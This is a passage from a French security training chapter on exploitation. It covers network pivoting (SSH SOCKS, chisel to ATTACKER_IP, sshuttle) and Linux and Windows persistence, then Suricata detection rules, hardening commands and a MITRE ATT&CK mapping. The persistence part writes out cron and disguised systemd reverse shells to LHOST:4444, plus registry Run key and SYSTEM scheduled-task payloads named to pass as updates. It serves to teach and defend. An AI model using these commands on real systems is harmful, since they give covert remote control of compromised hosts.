# Puis : curl http://127.0.0.1:8080/ - atteint le serveur web interne
# Proxy SOCKS dynamique SSH (pivoter tout le trafic)
ssh -D 1080 \\\\ # Proxy SOCKS5 local sur le port 1080
-N user@COMPROMISED_HOST
# Configurer proxychains :
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains nmap -sT -p 22,80,443 10.10.10.0/24 # Scanner le réseau interne
# Chisel - tunneling TCP rapide via HTTP (utile quand SSH est bloqué)
# Sur la machine d'attaque :
./chisel server -p 8000 --reverse # Mode serveur inversé
# Sur l'hôte compromis :
./chisel client ATTACKER_IP:8000 R:1080:socks # Tunnel SOCKS inversé
# SSHuttle - proxy transparent (route le trafic de sous-réseau via SSH)
sshuttle -r user@COMPROMISED_HOST 10.10.10.0/24 \\
--ssh-cmd "ssh -i compromised_key" # Router l'ensemble du sous-réseau via l'hôte compromis
Établir la Persistance
# Linux - persistance par tâche cron
# Ajouter au crontab de l'utilisateur actuel (survit aux redémarrages)
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/LHOST/4444 0>&1'") | crontab -
# Linux - service systemd (nécessite root)
cat > /etc/systemd/system/update-check.service << 'EOF'
[Unit]
Description=System Update Check Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/LHOST/4444 0>&1'
Restart=always
RestartSec=300
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update-check
systemctl start update-check
# Windows - clé de registre Run (persistance entre les connexions)
reg add "HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run" \\
/v "WindowsUpdate" \\
/t REG_SZ \\
/d "C:\\\\Windows\\\\Temp\\\\payload.exe" \\
/f
# Windows - tâche planifiée
schtasks /create /tn "SystemHealthMonitor" \\
/tr "C:\\\\Windows\\\\Temp\\\\payload.exe" \\
/sc ONLOGON \\\\ # Déclencheur : à la connexion de n'importe quel utilisateur
/ru SYSTEM \\\\ # Exécuter en tant que SYSTEM
/f # Forcer la création
8. Détections Défensives et Atténuations
Détecter les Tentatives d'Exploitation
# Règle Suricata - détecter une tentative d'exploitation EternalBlue
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (
msg:"ET EXPLOIT MS17-010 EternalBlue SMBv1 RCE Attempt";
flow:established,to_server;
content:"|FF|SMB";
content:"|00 2f 00|"; distance:0;
byte_test:2,>,0,0,relative,big;
classtype:attempted-admin;
sid:9004001; rev:1;
metadata:affected_product Windows, mitre_technique T1210;
)
# Règle Suricata - détecter l'exploitation Log4Shell
alert http any any -> $HTTP_SERVERS any (
msg:"ET EXPLOIT Apache Log4j RCE Attempt (JNDI Injection)";
flow:established,to_server;
content:"${jndi:"; nocase; # Motif central Log4Shell
pcre:"/\\\\$\\\\{jndi:(ldap|rmi|dns|ldaps|iiop|corba|nds|http)/i";
classtype:web-application-attack;
sid:9004002; rev:3;
metadata:cve CVE-2021-44228, mitre_technique T1190;
)
# Détecter les tentatives d'injection SQL dans les URI HTTP
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
msg:"ET WEB_SERVER SQL Injection Attempt -- UNION SELECT";
flow:established,to_server;
content:"UNION"; http_uri; nocase;
content:"SELECT"; http_uri; nocase; distance:0; within:20;
classtype:web-application-attack;
sid:9004003; rev:1;
)
Atténuations Basées sur l'Hôte
# Corriger SMBv1 (Windows PowerShell)
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
# Activer les règles Windows Defender Attack Surface Reduction
# Bloquer l'exploitation de pilotes signés vulnérables
Add-MpPreference -AttackSurfaceReductionRules_Ids \\
75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84 \\\\ # Bloquer le processus enfant Office
-AttackSurfaceReductionRules_Actions Enabled
# Linux : Activer ASLR à l'échelle du système
echo 2 > /proc/sys/kernel/randomize_va_space # 2 = ASLR complet
# Rendre permanent :
echo "kernel.randomize_va_space = 2" >> /etc/sysctl.conf
# Désactiver les core dumps (empêcher l'extraction de mémoire pour les identifiants)
echo "* hard core 0" >> /etc/security/limits.conf
echo "fs.suid_dumpable = 0" >> /etc/sysctl.conf
# Application web : requêtes paramétrées (prévention SQLi)
# Python - CORRECT (paramétré)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Python - INCORRECT (concaténation de chaîne)
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}") # Ne jamais faire cela
# Prévention SSRF - approche par liste blanche
import ipaddress, socket
ALLOWED_HOSTS = {"api.trusted-partner.com"}
def is_safe_url(url):
from urllib.parse import urlparse
parsed = urlparse(url)
hostname = parsed.hostname
if hostname not in ALLOWED_HOSTS:
raise ValueError("Hôte absent de la liste blanche")
# Résoudre et vérifier les adresses privées/loopback
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
raise ValueError("Adresses privées/internes non autorisées")
return True
9. Correspondance MITRE ATT&CK
| Technique | ID | Méthode | Détection |
|---|---|---|---|
| Exploitation d'Application Publique | T1190 | Log4Shell, EternalBlue, SQLi | Signatures IDS, WAF, gestion des correctifs |
| Exploitation pour Exécution Client | T1203 | Exploits navigateur/document | EDR, sandboxing applicatif |
| Interpréteur de Commande et Script | T1059 | Reverse shells, PowerShell | Journalisation des blocs de script, AMSI |
| Extraction d'Identifiants OS | T1003 | Mimikatz, hashdump, LSA | EDR, Credential Guard, protection LSASS |
| Comptes Valides | T1078 | Identifiants par défaut, PtH, pulvérisation | MFA, détection de connexion anormale |
| Composant Logiciel Serveur : Web Shell | T1505.003 | Web shells PHP/ASPX | Surveillance de l'intégrité des fichiers, AV |
| Tâche/Travail Planifié | T1053 | Cron, persistance schtasks | Audit des tâches planifiées, référence |
| Démarrage/Connexion Autostart : Clés de Registre Run | T1547.001 | reg add RunKey | Surveillance du registre, EDR |
| Proxy : Proxy Interne | T1090.001 | Chisel, pivoting SSHuttle | Connexions sortantes anormales |
| Transfert d'Outil d'Entrée | T1105 | Payloads wget, curl, certutil | Inspection de proxy, DLP |
Fin du Chapitre 3.2 - Techniques d'Exploitation : De la Couche Réseau à la Couche Application
Suivant : Chapitre 3.3 - Man-in-the-Middle, Usurpation et Mouvement Latéral